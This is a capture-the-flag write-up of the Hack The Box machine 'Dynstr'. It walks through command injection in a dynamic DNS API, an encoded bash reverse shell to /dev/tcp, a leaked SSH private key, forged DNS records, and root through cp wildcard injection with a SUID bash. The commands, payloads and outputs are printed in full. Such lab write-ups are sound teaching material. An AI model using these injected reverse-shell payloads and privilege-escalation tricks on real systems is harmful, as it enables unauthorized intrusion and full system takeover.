Dynstr imitates a company that offers a Dynamic DNS service. The provided API for this service is vulnerable to command injection, allowing me to gain initial access to the system. Enumerating inside the system reveals log files that leak the user SSH key that can only be used after manipulating the DNS records. For the root part, there is a custom script that is vulnerable to wildcard injection. Since the script can be run as root with sudo, it is possible to gain root access from it.

Skills Learned

  • Command injection
  • Dynamic DNS
  • Wildcard injection

Tools

  • Nmap
  • Burp Suite

Reconnaissance

Nmap

A full TCP scan with nmap discovers 3 open ports: SSH on 22, BIND 9 DNS on 53, and an Apache web server on 80.

→ root@kali «dynstr» «10.10.14.53» 
$ nmap -p- --min-rate 1000 --reason -oA nmap/10-tcp-allport-dynstr 10.10.10.244
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-16 21:06 EDT
Nmap scan report for 10.10.10.244
Host is up, received echo-reply ttl 63 (0.078s latency).
Not shown: 65532 closed ports
Reason: 65532 resets
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
53/tcp open  domain  syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Nmap done: 1 IP address (1 host up) scanned in 41.14 seconds

→ root@kali «dynstr» «10.10.14.53» 
$ nmap -p22,53,80 -sC -sV -oA nmap/10-tcp-allport-scripts-dynstr 10.10.10.244
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-16 21:07 EDT
Nmap scan report for 10.10.10.244
Host is up (0.54s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
53/tcp open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.16.1-Ubuntu
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyna DNS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.76 seconds

Enumeration

TCP 80 - Website

On port 80, there is a company website named DYNA DNS.

image-20210617082250725

This company offers a dynamic DNS service and states that the service is still in beta. There is also shared credentials to use this service.

image-20210617082428463

At the bottom of the page, it reveals another domain name: dyna.htb.

image-20210617082655557

I will update my /etc/hosts with all the discovered domain names :

→ root@kali «dynstr» «10.10.14.53» 
$ echo '10.10.10.244 dyna.htb dnsalias.htb dynamicdns.htb no-ip.htb' 

These domain points to the same site.

→ root@kali «dynstr» «10.10.14.53» 
$ curl -s http://10.10.10.244/ | wc -c
10909
→ root@kali «dynstr» «10.10.14.53» 
$ for i in dyna.htb dnsalias.htb dynamicdns.htb no-ip.htb; do curl -s http://$i/ | wc -c; done 
10909
10909
10909
10909

DNS API

As previously stated in the website, it seems to use the dynamic DNS service, I can refer to no-ip.com:

image-20210617090837052

To use the service, I will send a request and supply the shared credentials ('dynadns:sndanyd') in the Authorization header:

image-20210617091044264

It returned with good.

With dig, I can confirm that my domain name has been added to the DNS entry.

→ root@kali «dynstr» «10.10.14.53»
$ dig @10.10.10.244 iamf.no-ip.htb

; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> @10.10.10.244 iamf.no-ip.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 38459
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: a795fc705ec31c660100000060cab226fe335467b6b169e8 (good)
;; QUESTION SECTION:
;iamf.no-ip.htb.                        IN      A

;; ANSWER SECTION:
iamf.no-ip.htb.         30      IN      A       10.10.14.53

;; Query time: 864 msec
;; SERVER: 10.10.10.244#53(10.10.10.244)
;; WHEN: Wed Jun 16 22:23:34 EDT 2021
;; MSG SIZE  rcvd: 87

Foothold

Shell as www-data

Identify Command Injection

On Linux, there is a dynamic DNS utility called nsupdate. If the backend uses this utility with no sanitization on the input, it is possible to do a command injection.

For the first attempt, I try to submit a semicolon, and it fails the update process.

image-20210617091628552

If I search for that error on Google, I will see this post from StackOverflow, which shows how nsupdate is executed from PHP using the built-in exec() function.

image-20211018060424803

By assuming that my input falls in update add $MYINPUT.no-ip.htb ..., I try to submit `echo+iamf1`.

image-20210617093614041

It again responded with “good”.

Checking with dig shows that my domain iamf1.no-ip.htb has been added to the DNS entry. This means the API is vulnerable to command injection.

→ root@kali «dynstr» «10.10.14.53»
$ dig @10.10.10.244 iamf1.no-ip.htb

; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> @10.10.10.244 iamf1.no-ip.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 65360
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 8164817dd17125330100000060cab5248a60afa8ae9615d7 (good)
;; QUESTION SECTION:
;iamf1.no-ip.htb.               IN      A

;; ANSWER SECTION:
iamf1.no-ip.htb.        30      IN      A       10.10.14.53

;; Query time: 735 msec
;; SERVER: 10.10.10.244#53(10.10.10.244)
;; WHEN: Wed Jun 16 22:36:20 EDT 2021
;; MSG SIZE  rcvd: 88

I also assume that the update command is enclosed with EOF, and when I put " to enclose it, the server response leaks how it updates the DNS entry.

image-20210617101554395

Reverse Shell

To avoid bad characters, I will encode the reverse shell payload with double base64.

→ root@kali «dynstr» «10.10.14.53» 
$ echo "bash -c 'bash -i >& /dev/tcp/10.10.14.53/9000 0>&1'" |base64 |base64 -w0
WW1GemFDQXRZeUFuWW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0MU15ODVNREF3SURBK0pqRW5DZz09Cg==

The final query will looks like this.

/nic/update?hostname="`echo+WW1GemFDQXRZeUFuWW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0MU15ODVNREF3SURBK0pqRW5DZz09Cg==+|base64+-d|base64+-d|bash`+iamf.no-ip.htb&myip=10.10.14.53

On my listener

→ root@kali «dynstr» «10.10.14.53»
$ nc -nvlp 9000
listening on [any] 9000 ...
connect to [10.10.14.53] from (UNKNOWN) [10.10.10.244] 49648
bash: cannot set terminal process group (659): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dynstr:/var/www/html/nic$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

I will upgrade my shell.

www-data@dynstr:/var/www/html/nic$ export TERM=xterm
export TERM=xterm
www-data@dynstr:/var/www/html/nic$ which python3
which python3
/usr/bin/python3
www-data@dynstr:/var/www/html/nic$ python3 -c 'import pty;pty.spawn("/bin/bash")'
'ython3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@dynstr:/var/www/html/nic$ ^Z
[1]  + 7584 suspended  nc -nvlp 9000
→ root@kali «dynstr» «10.10.14.53»
$ stty raw -echo; fg
[1]  + 7584 continued  nc -nvlp 9000

www-data@dynstr:/var/www/html/nic$ 

Privilege Escalation

Shell as bindmgr

Enumeration

Under /home/bindmgr/support-case-C62796521, there are several files that are readable by others.

www-data@dynstr:/home/bindmgr/support-case-C62796521$ ls -l
total 428
-rw-r--r-- 1 bindmgr bindmgr 237141 Mar 13 14:53 C62796521-debugging.script
-rw-r--r-- 1 bindmgr bindmgr  29312 Mar 13 14:53 C62796521-debugging.timing
-rw-r--r-- 1 bindmgr bindmgr   1175 Mar 13 14:53 command-output-C62796521.txt
-rw-r--r-- 1 bindmgr bindmgr 163048 Mar 13 14:52 strace-C62796521.txt

The strace-C62796521.txt file contains a SSH private key.

www-data@dynstr:/home/bindmgr/support-case-C62796521$ cat strace-C62796521.txt
...[SNIP]...
15123 openat(AT_FDCWD, "/home/bindmgr/.ssh/id_rsa", O_RDONLY) = 5
15123 fstat(5, {st_mode=S_IFREG|0600, st_size=1823, ...}) = 0
15123 read(5, "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1\n42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3\nHjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F\nL6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn\nUOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbX\nCUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1Bqz\nuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7a\nXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38P\nZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk\n+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs\n4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVq\nxTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUD\nPswCKnA8AdyaxruDRuPY422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31k\nobFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2l\nu291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV7qkNPPPMPknIAVMQ3KHCJBM0XqtS\nTbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6A\nTyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2vceuE\nBNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMv\nC79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyX\nWv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDt\nU96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZ\nb6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5\nrlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG\njGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==\n-----END OPENSSH PRIVATE KEY-----\n", 4096) = 1823

But when I try to use that key for SSH login, it asks for a password.

→ root@kali «ssh-keys» «10.10.14.53»
$ ssh -i bindmgr_rsa bindmgr@10.10.10.244
bindmgr@10.10.10.244's password:

My first guess is SSH has been configured to password only, but I find that UseDNS is enabled here.

www-data@dynstr:/home$ cat /etc/ssh/sshd_config | grep -v '^#' | awk 'NF'
Include /etc/ssh/sshd_config.d/*.conf
PermitRootLogin yes
ChallengeResponseAuthentication no
UsePAM yes
X11Forwarding yes
PrintMotd no
UseDNS yes
AcceptEnv LANG LC_*
Subsystem       sftp    /usr/lib/openssh/sftp-server

Then if I look at the authorized keys, it seems SSH login only possible from a specific domain that starts with *.infra.dyna.htb.

www-data@dynstr:/home/bindmgr$ ls -l .ssh/
ls -l
total 16
-rw-r--r-- 1 bindmgr bindmgr  419 Mar 13 14:53 authorized_keys
-rw------- 1 bindmgr bindmgr 1823 Mar 13 14:53 id_rsa
-rw-r--r-- 1 bindmgr bindmgr  395 Mar 13 14:53 id_rsa.pub
-rw-r--r-- 1 bindmgr bindmgr  444 Mar 13 14:53 known_hosts
www-data@dynstr:/home/bindmgr$ cat .ssh/authorized_keys
from="*.infra.dyna.htb" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4pkc7L5EaGz6CcwSCx1BqzuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7aXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WOD bindmgr@nomen

Update DNS

Looking at the DNS configuration under /etc/bind reveals that dyna.htb is not available for customers (via API) and it uses different key (/etc/bind/infra.key).

www-data@dynstr:/etc/bind/$ cat named.conf.local
//
// Do any local configuration here
//

// Add infrastructure DNS updates.
include "/etc/bind/infra.key";
zone "dyna.htb" IN { type master; file "dyna.htb.zone"; update-policy { grant infra-key zonesub ANY; }; };
zone "10.in-addr.arpa" IN { type master; file "10.in-addr.arpa.zone"; update-policy { grant infra-key zonesub ANY; }; };
zone "168.192.in-addr.arpa" IN { type master; file "168.192.in-addr.arpa.zone"; update-policy { grant infra-key zonesub ANY; }; };
// Enable DynDNS updates to customer zones.
include "/etc/bind/ddns.key";
zone "dnsalias.htb" IN { type master; file "dnsalias.htb.zone"; update-policy { grant ddns-key zonesub ANY; }; };
zone "dynamicdns.htb" IN { type master; file "dynamicdns.htb.zone"; update-policy { grant ddns-key zonesub ANY; }; };
zone "no-ip.htb" IN { type master; file "no-ip.htb.zone"; update-policy { grant ddns-key zonesub ANY; }; };

// *** WORK IN PROGRESS, see bindmgr.sh ***
// include "/etc/bind/named.conf.bindmgr";

The idea here is to add a sub domain to dyna.htb zone, and it must be part of infra.dyna.htb, such as iamf.infra.dyna.htb. I will also point that domain to my IP so I can SSH from my machine. These all can be done with the following commands.

www-data@dynstr:/etc/bind$ nsupdate -k ./infra.key
> update add iamf.infra.dyna.htb 3600 A 10.10.14.53
> update add 53.14.10.10.in-addr.arpa. 600 PTR iamf.infra.dyna.htb
> show
Outgoing update query:
;; ->>HEADER<<- opcode: UPDATE, status: NOERROR, id:      0
;; flags:; ZONE: 0, PREREQ: 0, UPDATE: 0, ADDITIONAL: 0
;; UPDATE SECTION:
iamf.infra.dyna.htb.    0       ANY     A
iamf.infra.dyna.htb.    3600    IN      A       10.10.14.53
53.14.10.10.in-addr.arpa. 600   IN      PTR     iamf.infra.dyna.htb.

> send

I can confirm with dig that my domain has been added.

→ root@kali «dynstr» «10.10.14.53» 
$ dig @10.10.10.244 iamf.infra.dyna.htb

; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> @10.10.10.244 iamf.infra.dyna.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56211
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 7d13ea1a1d5d21b90100000060cb40c0b256362f3bd3da35 (good)
;; QUESTION SECTION:
;iamf.infra.dyna.htb.           IN      A

;; ANSWER SECTION:
iamf.infra.dyna.htb.    3600    IN      A       10.10.14.53

;; Query time: 59 msec
;; SERVER: 10.10.10.244#53(10.10.10.244)
;; WHEN: Thu Jun 17 08:31:59 EDT 2021
;; MSG SIZE  rcvd: 92

SSH bindmgr

Now I can SSH login as bindmgr

→ root@kali «ssh-keys» «10.10.14.53»
$ ssh -i bindmgr_rsa bindmgr@10.10.10.244
Last login: Tue Jun  8 19:19:17 2021 from 6146f0a384024b2d9898129ccfee3408.infra.dyna.htb
bindmgr@dynstr:~$ id
uid=1001(bindmgr) gid=1001(bindmgr) groups=1001(bindmgr)

The flag:

bindmgr@dynstr:~$ ls -l
total 8
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 14:53 support-case-C62796521
-r-------- 1 bindmgr bindmgr   33 Jun 17 10:51 user.txt
bindmgr@dynstr:~$ cat user.txt
6404e...[SNIP]...

Shell as root

Enumeration

Checking for sudo permissions reveals that bindmgr is allowed to run a script called bindmgr.sh as root.

bindmgr@dynstr:~$ sudo -l
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
Matching Defaults entries for bindmgr on dynstr:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User bindmgr may run the following commands on dynstr:
    (ALL) NOPASSWD: /usr/local/bin/bindmgr.sh

The author gives a well documented about what this script does.

#!/usr/bin/bash

# This script generates named.conf.bindmgr to workaround the problem
# that bind/named can only include single files but no directories.
#
# It creates a named.conf.bindmgr file in /etc/bind that can be included
# from named.conf.local (or others) and will include all files from the
# directory /etc/bin/named.bindmgr.
#
# NOTE: The script is work in progress. For now bind is not including
#       named.conf.bindmgr.
#
# TODO: Currently the script is only adding files to the directory but
#       not deleting them. As we generate the list of files to be included
#       from the source directory they won't be included anyway.

BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr

indent() { sed 's/^/    /'; }

# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 42
fi
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 43
fi

# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF
for file in * ; do
    printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done

# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/

# Check generated configuration with named-checkconf.
echo "[+] Checking staged configuration."
named-checkconf $BINDMGR_CONF >/dev/null
if [[ $? -ne 0 ]] ; then
    echo "[-] ERROR: The generated configuration is not valid. Please fix following errors: "
    named-checkconf $BINDMGR_CONF 2>&1 | indent
    exit 44
else
    echo "[+] Configuration successfully staged."
    # *** TODO *** Uncomment restart once we are live.
    # systemctl restart bind9
    if [[ $? -ne 0 ]] ; then
        echo "[-] Restart of bind9 via systemctl failed. Please check logfile: "
        systemctl status bind9
    else
        echo "[+] Restart of bind9 via systemctl succeeded."
    fi
fi

The first two if statement show that the script wants a file called .version, and since it looks from $PWD, I can create that file in anywhere.

bindmgr@dynstr:~$ echo '5' > .version

Then when I run the script, it throws the following error.

bindmgr@dynstr:~$ sudo bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /home/bindmgr.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
cp: -r not specified; omitting directory 'support-case-C62796521'
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors:
    /etc/bind/named.conf.bindmgr:2: open: /etc/bind/named.bindmgr/support-case-C62796521: file not found

And this one is interesting

cp: -r not specified; omitting directory 'support-case-C62796521'

If I trace it, the error come from these lines.

# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/

According to Hackingarticles, using cp with * can lead to wildcard injection.

Exploitation

To exploit cp with * (wildcard), I will create a copy of the bash binary and set SUID permissions on it, and then I will create another file with a filename --preserve=mode.

bindmgr@dynstr:/dev/shm$ echo '5' > .version
bindmgr@dynstr:/dev/shm$ touch  '--preserve=mode'
bindmgr@dynstr:/dev/shm$ cp /bin/bash .
bindmgr@dynstr:/dev/shm$ chmod u+s bash
bindmgr@dynstr:/dev/shm$ ls -la
total 1164
drwxrwxrwt  2 root    root        100 Jun 17 15:18  .
drwxr-xr-x 17 root    root       3940 Jun 17 10:51  ..
-rwsr-sr-x  1 bindmgr bindmgr 1183448 Jun 17 15:18  bash
-rw-rw-r--  1 bindmgr bindmgr       1 Jun 17 15:12 '--preserve=mode'
-rw-rw-r--  1 bindmgr bindmgr       2 Jun 17 14:47  .version

cp will see that --preserve=mode file as name as a flag/option/switch, so it becomes

$ cp .version --preserve=mode /etc/bind/named.bindmgr/

When I run bindmgr.sh again, it throws another error.

bindmgr@dynstr:/dev/shm$ sudo bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /dev/shm.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors:
    /etc/bind/named.bindmgr/bash:1: unknown option 'ELF☻☺☺...'
    /etc/bind/named.bindmgr/bash:14: unknown option '♥h□ȀE□♣'
    /etc/bind/named.bindmgr/bash:40: unknown option '□YF'
    /etc/bind/named.bindmgr/bash:40: unexpected token near '}'

But now under /etc/bind/named.bindmgr, I have a copy of bash with SUID permissions set to root.

bindmgr@dynstr:/dev/shm$ ls -la /etc/bind/named.bindmgr
total 1168
drwxr-sr-x 2 root bind    4096 Jun 17 15:18 .
drwxr-sr-x 3 root bind    4096 Jun 17 15:18 ..
-rwsr-sr-x 1 root bind 1183448 Jun 17 15:18 bash
-rw-rw-r-- 1 root bind       2 Jun 17 15:18 .version

Executing that bash with -p gives me a root shell.

bindmgr@dynstr:/dev/shm$ /etc/bind/named.bindmgr/bash -p
bash-5.0# id
uid=1001(bindmgr) gid=1001(bindmgr) euid=0(root) egid=117(bind) groups=117(bind),1001(bindmgr)
bash-5.0# whoami
root

The flag

bash-5.0# ls -l
total 8
drwxr-xr-x 4 root root 4096 Mar 14 14:18 cleanup
-r-------- 1 root root   33 Jun 17 10:51 root.txt
bash-5.0# cat root.txt
64348...[SNIP]...

References